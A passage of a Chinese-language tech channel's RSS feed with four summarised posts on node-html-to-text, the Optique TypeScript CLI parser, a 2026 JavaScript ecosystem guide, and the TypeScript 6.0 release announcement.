&lt;/a&gt;</content:encoded></item><item><title>《node-html-to-text：HTML转纯文本转换器》</title><link>https://channel.meo-ai.com/posts/627</link><guid isPermaLink="true">https://channel.meo-ai.com/posts/627</guid><pubDate>Fri, 08 May 2026 02:59:05 GMT</pubDate><content:encoded>&lt;span class=&quot;post-title-source&quot;&gt;《node-html-to-text：HTML转纯文本转换器》&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;标签：&lt;a href=&quot;/search/result?q=%23NodeJS&quot; title=&quot;#NodeJS&quot;&gt;#NodeJS&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E5%B7%A5%E5%85%B7%E5%BA%93&quot; title=&quot;#工具库&quot;&gt;#工具库&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23HTML%E8%A7%A3%E6%9E%90&quot; title=&quot;#HTML解析&quot;&gt;#HTML解析&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E6%96%87%E6%9C%AC%E8%BD%AC%E6%8D%A2&quot; title=&quot;#文本转换&quot;&gt;#文本转换&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E6%95%B0%E6%8D%AE%E6%8F%90%E5%8F%96&quot; title=&quot;#数据提取&quot;&gt;#数据提取&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E5%86%85%E5%AE%B9%E5%A4%84%E7%90%86&quot; title=&quot;#内容处理&quot;&gt;#内容处理&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;总结：&lt;br /&gt;node-html-to-text 是一款成熟的 Node.js 库，用于将 HTML 文档解析并转换为格式优美的纯文本。它通过类 CSS 的 selectors 机制实现高度灵活的格式化控制，支持表格、链接、列表等复杂结构，并提供 &lt;code&gt;compile&lt;/code&gt; 预编译模式以优化批量处理性能。&lt;br /&gt;&lt;br /&gt;文章要点：&lt;br /&gt;- **核心能力**：支持行内/块级标签、表格（含跨行跨列）、链接、自动换行、Unicode 等，能把复杂 HTML 干净地转成可读文本&lt;br /&gt;- **两种使用模式**：`convert()&lt;code&gt; 适合单次转换；`compile()&lt;/code&gt; 预编译配置后批量处理，性能更优，推荐处理大量文档时使用&lt;br /&gt;- **Selectors 驱动配置**：采用类似 CSS 的 selectors 数组来匹配元素并指定格式化方式，支持标签、类名、ID、属性等组合选择，特异性高的规则优先生效&lt;br /&gt;- **丰富的自定义扩展**：可通过 &lt;code&gt;formatters&lt;/code&gt; 注册自定义格式化函数，还能传入 &lt;code&gt;metadata&lt;/code&gt; 让 formatter 访问额外上下文信息，满足特殊业务需求&lt;br /&gt;- **版本演进清晰**：v8 引入 selectors 体系，v9 支持 ESM/CJS 双模式并移除大量废弃选项，v10 要求 Node.js 20.19.0+，API 趋于稳定现代&lt;br /&gt;&lt;br /&gt;文章URL：&lt;a href=&quot;https://github.com/html-to-text/node-html-to-text&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;https://github.com/html-to-text/node-html-to-text&quot;&gt;https://github.com/html-to-text/node-html-to-text&lt;/a&gt;&lt;a class=&quot;tgme_widget_message_link_preview&quot; href=&quot;https://github.com/html-to-text/node-html-to-text&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;Advanced html to text converter. Contribute to html-to-text/node-html-to-text development by creating an account on GitHub.&quot;&gt;
  
  &lt;div class=&quot;link_preview_site_name accent_color&quot;&gt;GitHub&lt;/div&gt;
  &lt;img class=&quot;link_preview_image&quot; alt=&quot;GitHub - html-to-text/node-html-to-text: Advanced html to text converter&quot; src=&quot;/static/https://cdn4.telesco.pe/file/eLbfP41-MLTGRv32Hns1wLtU_vYiIichFyMUIlYA0YwfGHH5-HQjWH4pLvoSRS-a0Cwo7KEkdJhmGAC-DlBaXVougyCl0d_DYfyzyfafSBqUrf7vBDdHIHBi2wCy_NCA6HgnQtbzNREhJpqqXHtxpV0QVVNraVjfN1bjoqbANtMQpWQYUIDAzmnlz-LAGj8bSL1b0J7r7ZztttcH61pmiZC2ijHNri6dTBGu3hTVB3tSK04_PdpJJuxl4Idb2IVeoUNabd36ayNyou2B2iebfyXKOsu_h9jEObNH3EfBqdBxwuXA6XZUHUDrympxcmGSUjszHsl2NlG1C1iV7VR12g.jpg&quot; width=&quot;1200&quot; height=&quot;630&quot; loading=&quot;eager&quot; /&gt;
  &lt;div class=&quot;link_preview_title&quot;&gt;GitHub - html-to-text/node-html-to-text: Advanced html to text converter&lt;/div&gt;
  &lt;div class=&quot;link_preview_description&quot;&gt;Advanced html to text converter. Contribute to html-to-text/node-html-to-text development by creating an account on GitHub.&lt;/div&gt;
&lt;/a&gt;</content:encoded></item><item><title>《Optique：TypeScript 类型安全的 CLI 解析器》</title><link>https://channel.meo-ai.com/posts/608</link><guid isPermaLink="true">https://channel.meo-ai.com/posts/608</guid><pubDate>Fri, 24 Apr 2026 08:53:06 GMT</pubDate><content:encoded>&lt;span class=&quot;post-title-source&quot;&gt;《Optique：TypeScript 类型安全的 CLI 解析器》&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;标签：&lt;a href=&quot;/search/result?q=%23CLI&quot; title=&quot;#CLI&quot;&gt;#CLI&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23TypeScript&quot; title=&quot;#TypeScript&quot;&gt;#TypeScript&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23ShellCompletion&quot; title=&quot;#ShellCompletion&quot;&gt;#ShellCompletion&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23ParserCombinator&quot; title=&quot;#ParserCombinator&quot;&gt;#ParserCombinator&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23NodeJS&quot; title=&quot;#NodeJS&quot;&gt;#NodeJS&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23Deno&quot; title=&quot;#Deno&quot;&gt;#Deno&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23Bun&quot; title=&quot;#Bun&quot;&gt;#Bun&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;总结：&lt;br /&gt;Optique 是一款面向 TypeScript 的类型安全 CLI 解析器库，灵感源自 Haskell 的 optparse-applicative 与 TypeScript 的 Zod。它采用函数式组合子（combinator）架构，通过组合小型类型安全解析器构建复杂 CLI，TypeScript 自动推断解析结果类型。支持标志、选项、子命令、选项间依赖、环境变量绑定、交互式提示、配置文件集成、Shell 补全及 man 手册生成，并可在 Deno、Node.js 与 Bun 上运行。1.0.0 版本新增 &lt;code&gt;@optique/env&lt;/code&gt; 环境变量包与 &lt;code&gt;@optique/prompt&lt;/code&gt; 交互式提示包，同时修复了 Shell 补全、帮助输出与值解析中的数百项问题 。&lt;br /&gt;&lt;br /&gt;文章要点：&lt;br /&gt;- 类型安全组合子架构：用函数式组合子拼装小型解析器，TypeScript 自动推断解析结果类型，编译时保证安全，解析器结构本身即运行时校验规则 。&lt;br /&gt;- 零重复定义的智能 Shell 补全：支持 Bash、zsh、fish、PowerShell、Nushell 五大 Shell，补全逻辑直接复用解析器结构，无需额外维护补全定义，选项、参数与 &lt;code&gt;choice()&lt;/code&gt; 值自动同步 。&lt;br /&gt;- 灵活的集成扩展：提供 &lt;code&gt;@optique/env&lt;/code&gt; 环境变量回退、&lt;code&gt;@optique/config&lt;/code&gt; 配置文件级联、&lt;code&gt;@optique/prompt&lt;/code&gt; 交互式提示、&lt;code&gt;@optique/zod&lt;/code&gt; 与 &lt;code&gt;@optique/valibot&lt;/code&gt; 桥接，以及 &lt;code&gt;@optique/temporal&lt;/code&gt; 日期时间解析等生态包 。&lt;br /&gt;- 1.0 正式版成熟稳定：2026 年 4 月发布的 1.0.0 完成 API 清理，新增 &lt;code&gt;fail&amp;lt;T&amp;gt;()&lt;/code&gt; 解析器、&lt;code&gt;validateValue()&lt;/code&gt; 校验、&lt;code&gt;normalize()&lt;/code&gt; 规范化与细粒度 &lt;code&gt;hidden&lt;/code&gt; 控制，并修复了数百项补全、帮助与解析问题 。&lt;br /&gt;&lt;br /&gt;文章URL：&lt;a href=&quot;https://optique.dev/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;https://optique.dev/&quot;&gt;https://optique.dev/&lt;/a&gt;&lt;a class=&quot;tgme_widget_message_link_preview&quot; href=&quot;https://optique.dev/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;Model your command-line grammar with composable, type-safe parsers. Mutually exclusive modes, dependent options, inferred result types, help, completion, and man pages all come from the same parser definition.&quot;&gt;
  &lt;i class=&quot;link_preview_right_image&quot; style=&quot;background-image:url(&apos;https://cdn4.telesco.pe/file/nTs2ofaRc0sj_ctJuhPbLsZO9RktV-id4O68aa6f-59ns3DYHuZdKM5lxtgm4vGwN40HFtzE3bkio-fRlZ4UVZN-YfCaPGTbeby6rVG46CeRRUrbciRSdD-eHV0YJLrkw2RCXTdmDtv-4aFreO25CMp8fZ8BT2oA-aN7e30Y8y-vN4QbLm2gwdUV0gwMXEjha26fhe9zGpaxKPC8cMrFGoTDvyYta2LY1vhk61h5rVLWaS6QNlhFzquFtVFMOFeuIpgSuSmqQIw7K5swAr6s42qCKPTuTgbpRoOHdMZUq3YjSEGpXw1l6E1MQsDyMrB_p4z_60kT0eJN2h1rYUoceA.jpg&apos;)&quot;&gt;&lt;/i&gt;
  &lt;div class=&quot;link_preview_site_name accent_color&quot;&gt;optique.dev&lt;/div&gt;
  
  &lt;div class=&quot;link_preview_title&quot;&gt;Optique: type-safe combinatorial CLI parser for TypeScript | Optique&lt;/div&gt;
  &lt;div class=&quot;link_preview_description&quot;&gt;Model your command-line grammar with composable, type-safe parsers. Mutually exclusive modes, dependent options, inferred result types, help, completion, and man pages all come from the same parser definition.&lt;/div&gt;
&lt;/a&gt;</content:encoded></item><item><title>《2026年JavaScript生态全景指南》</title><link>https://channel.meo-ai.com/posts/592</link><guid isPermaLink="true">https://channel.meo-ai.com/posts/592</guid><pubDate>Wed, 08 Apr 2026 09:23:59 GMT</pubDate><content:encoded>&lt;span class=&quot;post-title-source&quot;&gt;《2026年JavaScript生态全景指南》&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;标签：&lt;a href=&quot;/search/result?q=%23%E5%89%8D%E7%AB%AF&quot; title=&quot;#前端&quot;&gt;#前端&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23JavaScript&quot; title=&quot;#JavaScript&quot;&gt;#JavaScript&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23ECMAScript2025&quot; title=&quot;#ECMAScript2025&quot;&gt;#ECMAScript2025&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23ECMAScript2026&quot; title=&quot;#ECMAScript2026&quot;&gt;#ECMAScript2026&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23React&quot; title=&quot;#React&quot;&gt;#React&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23Vue&quot; title=&quot;#Vue&quot;&gt;#Vue&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23Svelte&quot; title=&quot;#Svelte&quot;&gt;#Svelte&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23NodeJS&quot; title=&quot;#NodeJS&quot;&gt;#NodeJS&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23TypeScript&quot; title=&quot;#TypeScript&quot;&gt;#TypeScript&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23Vite&quot; title=&quot;#Vite&quot;&gt;#Vite&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23Bun&quot; title=&quot;#Bun&quot;&gt;#Bun&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23Deno&quot; title=&quot;#Deno&quot;&gt;#Deno&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23TemporalAPI&quot; title=&quot;#TemporalAPI&quot;&gt;#TemporalAPI&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23IteratorHelpers&quot; title=&quot;#IteratorHelpers&quot;&gt;#IteratorHelpers&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23ImportAttributes&quot; title=&quot;#ImportAttributes&quot;&gt;#ImportAttributes&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;总结：&lt;br /&gt;本文全面梳理了2026年JavaScript生态系统的最新发展，涵盖ECMAScript 2025（迭代器助手、Set方法、Promise.try等）和2026预期特性（Temporal API、资源管理），React/Vue/Svelte框架动态，Node.js原生TypeScript支持、Bun和Deno运行时竞争，Vite 8与Turbopack构建工具演进，TypeScript v6及AI编程趋势。文章强调掌握基础原理比追逐工具更重要，特别是在AI辅助编程时代，架构能力和代码品味尤为关键。&lt;br /&gt;&lt;br /&gt;文章要点：&lt;br /&gt;- **ECMAScript 2025超实用新玩具**：迭代器终于能链式调用`.map()&lt;code&gt;和&lt;/code&gt;.filter()`啦，而且是惰性求值不耗内存；Set之间可以玩集合运算，轻松找出技能交集和差集；`Promise.try()`让同步异步错误一网打尽；还有`RegExp.escape()`终于解决了用户搜索时特殊字符炸正则的问题～&lt;br /&gt;&lt;br /&gt;- **2026年最期待的Temporal API**：Date对象终于被拯救了！处理时区和日期计算不会再莫名其妙多出几天，浏览器原生支持即将到来，告别 moment.js 大礼包的时代要来啦～&lt;br /&gt;&lt;br /&gt;- **框架圈的大新闻**：React 19的Server Components和Compiler还在消化中，Vue 3.6祭出Vapor Mode性能大招，Svelte 5的Runes API让响应式更细粒度； Next.js 16默认切到Turbopack，Astro被Cloudflare抱走，Remix正在酝酿去React化的大胆实验～&lt;br /&gt;&lt;br /&gt;- **运行时三国杀**：Node.js 22+能直接跑.ts文件啦（虽然只是剥离类型），Bun被Anthropic(Claude家)收编后1.3版本速速飞起，Deno 2稳如老狗主打安全牌，三足鼎立格局越来越有意思～&lt;br /&gt;&lt;br /&gt;- **TypeScript登顶GitHub第一**：v6严格模式默认开启，v7要用Go重写编译器提速10倍；92%的开发者都在用AI写代码，但文章提醒我们——基础原理和架构品味才是AI时代真正的护城河呀！&lt;br /&gt;&lt;br /&gt;文章URL：&lt;a href=&quot;https://frontendmasters.com/blog/what-to-know-in-javascript-2026-edition/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;https://frontendmasters.com/blog/what-to-know-in-javascript-2026-edition/&quot;&gt;https://frontendmasters.com/blog/what-to-know-in-javascript-2026-edition/&lt;/a&gt;&lt;a class=&quot;tgme_widget_message_link_preview&quot; href=&quot;https://frontendmasters.com/blog/what-to-know-in-javascript-2026-edition&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;We’ve done posts like this for CSS, but JavaScript deserves the same dangnabit! Especially as JavaScript does a better job of versioning itself anyway. We’ll cover new stuff in the language itself, but being a JavaScript practitioner involves more than the…&quot;&gt;
  
  &lt;div class=&quot;link_preview_site_name accent_color&quot;&gt;Frontend Masters&lt;/div&gt;
  &lt;img class=&quot;link_preview_image&quot; alt=&quot;What To Know in JavaScript (2026 Edition)&quot; src=&quot;/static/https://cdn4.telesco.pe/file/WN6cj5f8Vx_P8Z3OsdEBn_3LZO0iBYAUinHX4LPFIkO1eED-PgzHLHjDve26vNQbZCTVfASa_QYCvfhH29se2CitDfW0fUoiUsxwVGva7NrX-tWh6abXz2IiDE6rrbpVx2HE8u57rtazO9Jrpo3anbOo7wNUE1a46k4tfMUBNrFZAML-lM7_QSluOezuiqi20i4UduzPBjmqvIn3l0S2vWxVp7vUsC0hs_B32vvPG5ijh-tOVkeWVaV3uAu7vLaPailhW8Wa2mZgxNUUT2MnPbX3aj2Gxl_KY4-nmrERp7aQR-btLK-G1Ktr2NFFqSPK75M0PD48sdx-cWcLaMKqRg.jpg&quot; width=&quot;1200&quot; height=&quot;630&quot; loading=&quot;eager&quot; /&gt;
  &lt;div class=&quot;link_preview_title&quot;&gt;What To Know in JavaScript (2026 Edition)&lt;/div&gt;
  &lt;div class=&quot;link_preview_description&quot;&gt;We’ve done posts like this for CSS, but JavaScript deserves the same dangnabit! Especially as JavaScript does a better job of versioning itself anyway. We’ll cover new stuff in the language itself, but being a JavaScript practitioner involves more than the…&lt;/div&gt;
&lt;/a&gt;</content:encoded></item><item><title>《TypeScript 6.0 正式发布：迈向原生编译器的重要桥梁》</title><link>https://channel.meo-ai.com/posts/583</link><guid isPermaLink="true">https://channel.meo-ai.com/posts/583</guid><pubDate>Wed, 25 Mar 2026 10:44:29 GMT</pubDate><content:encoded>&lt;span class=&quot;post-title-source&quot;&gt;《TypeScript 6.0 正式发布：迈向原生编译器的重要桥梁》&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;标签：&lt;a href=&quot;/search/result?q=%23%E5%89%8D%E7%AB%AF&quot; title=&quot;#前端&quot;&gt;#前端&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23TypeScript&quot; title=&quot;#TypeScript&quot;&gt;#TypeScript&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23TS6&quot; title=&quot;#TS6&quot;&gt;#TS6&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23TS7&quot; title=&quot;#TS7&quot;&gt;#TS7&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23ESM&quot; title=&quot;#ESM&quot;&gt;#ESM&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23NodeJS&quot; title=&quot;#NodeJS&quot;&gt;#NodeJS&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23Compiler&quot; title=&quot;#Compiler&quot;&gt;#Compiler&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;总结：&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;TypeScript 6.0 是连接 5.9 与即将发布的 Go 语言重写版 7.0 的关键过渡版本，也是基于当前 JavaScript 代码库的最后一个主要版本。本次更新带来多项实用新特性，包括更智能的无 &lt;code&gt;this&lt;/code&gt; 函数类型推断、支持 &lt;code&gt;#/&lt;/code&gt; 开头的子路径导入、内置 Temporal API 类型、Map 的 &lt;code&gt;getOrInsert&lt;/code&gt; 方法等。同时，大量旧配置项被标记为废弃（如 &lt;code&gt;target: es5`、`baseUrl`、AMD/UMD 模块等），`strict&lt;/code&gt; 和 &lt;code&gt;module&lt;/code&gt; 等选项的默认值也更现代化。这些调整旨在帮助开发者提前适配 TypeScript 7.0 的全新架构。&lt;br /&gt;&lt;br /&gt;&lt;b&gt;文章要点：&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;- &lt;b&gt;过渡版本定位**：TS 6.0 是基于 JS 代码库的最后一个版本，TS 7.0（Go 重写版）已接近完成，6.0 的改动主要为 7.0 铺路&lt;br /&gt;- **类型推断更聪明**：不再把未使用 `this` 的方法语法函数视为上下文敏感函数，让属性顺序不影响类型推导，写代码更随心所欲&lt;br /&gt;- **子路径导入更简洁**：终于支持 `#/*` 这种干净的别名写法，告别之前必须写 `&lt;/b&gt;&lt;a href=&quot;/search/result?q=%23root&quot; title=&quot;#root&quot;&gt;&lt;b&gt;#root&lt;/b&gt;&lt;/a&gt;&lt;b&gt;/*` 的冗余，和打包工具里的 `@/` 习惯更接近了&lt;br /&gt;- **全新内置类型**：Temporal API 正式入驻（处理日期时间更靠谱），Map 新增 `getOrInsert` 和 `getOrInsertComputed` 方法，告别繁琐的&quot;有则取无则设&quot;模式&lt;br /&gt;- **配置默认值现代化**：`strict` 默认开启，`module` 默认 `esnext`，`target` 默认当前年份（es2025），新项目开箱即用更严格、更现代&lt;br /&gt;- **性能优化相关**：`types` 默认改为空数组（需显式声明如 `[&quot;node&quot;]`），`libReplacement` 默认关闭，构建速度有望提升 20-50%&lt;br /&gt;- **大量废弃项需留意**：`target: es5`、`baseUrl`、`moduleResolution node`、AMD/UMD/SystemJS 模块、`outFile`、`module` 关键字声明命名空间等都将退出历史舞台，建议尽早迁移&lt;br /&gt;- **迁移辅助工具**：提供 `--stableTypeOrdering` 标志帮助对比 6.0 与 7.0 的差异，`ts5to6` 工具可自动调整 `baseUrl` 和 `rootDir` 配置&lt;br /&gt;&lt;br /&gt;**文章URL：&lt;/b&gt;&lt;br /&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/&quot;&gt;https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/&lt;/a&gt;&lt;a class=&quot;tgme_widget_message_link_preview&quot; href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-6-0&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;TypeScript 6.0 is now available! TypeScript 6 is a stepping-stone release, aligning with the upcoming native-speed 7.0 release.&quot;&gt;
  
  &lt;div class=&quot;link_preview_site_name accent_color&quot;&gt;Microsoft News&lt;/div&gt;
  &lt;img class=&quot;link_preview_image&quot; alt=&quot;Announcing TypeScript 6.0&quot; src=&quot;/static/https://cdn4.telesco.pe/file/uXRikT-70LsIlfTeUUbFUELS86c1-tz1klUZn6yUBY3LXEVUPw62Da6UmeuJv7Jyv7weV4K93_cgdtUzlWEKkzmiTnf_IX2tFcwcsWx6HGzqPeahWItXH_iwhVU_XFwV6bda8CXTH0_7RKT4B_n-3IG_CA1ll-0X6breLkUBcenFpDe7bm-cWvFCr8s0J6llLEo6j_M2TdEbFeYEVIQc7gBeB0t3FSUpAp2varn5WLOcQNmNCJFmeF_PcwSJ25sLULFquXkLU65m4bBN6FwCSyr0Q_oO20KaQcWQ0tZ8LEVEfEdsNc3jebHmhxvaFXopsEZEHojhB00PoEzxGMUX8Q.jpg&quot; width=&quot;1200&quot; height=&quot;630&quot; loading=&quot;eager&quot; /&gt;
  &lt;div class=&quot;link_preview_title&quot;&gt;Announcing TypeScript 6.0&lt;/div&gt;
  &lt;div class=&quot;link_preview_description&quot;&gt;TypeScript 6.0 is now available! TypeScript 6 is a stepping-stone release, aligning with the upcoming native-speed 7.0 release.&lt;/div&gt;
&lt;/a&gt;</content:encoded></item></channel></rss>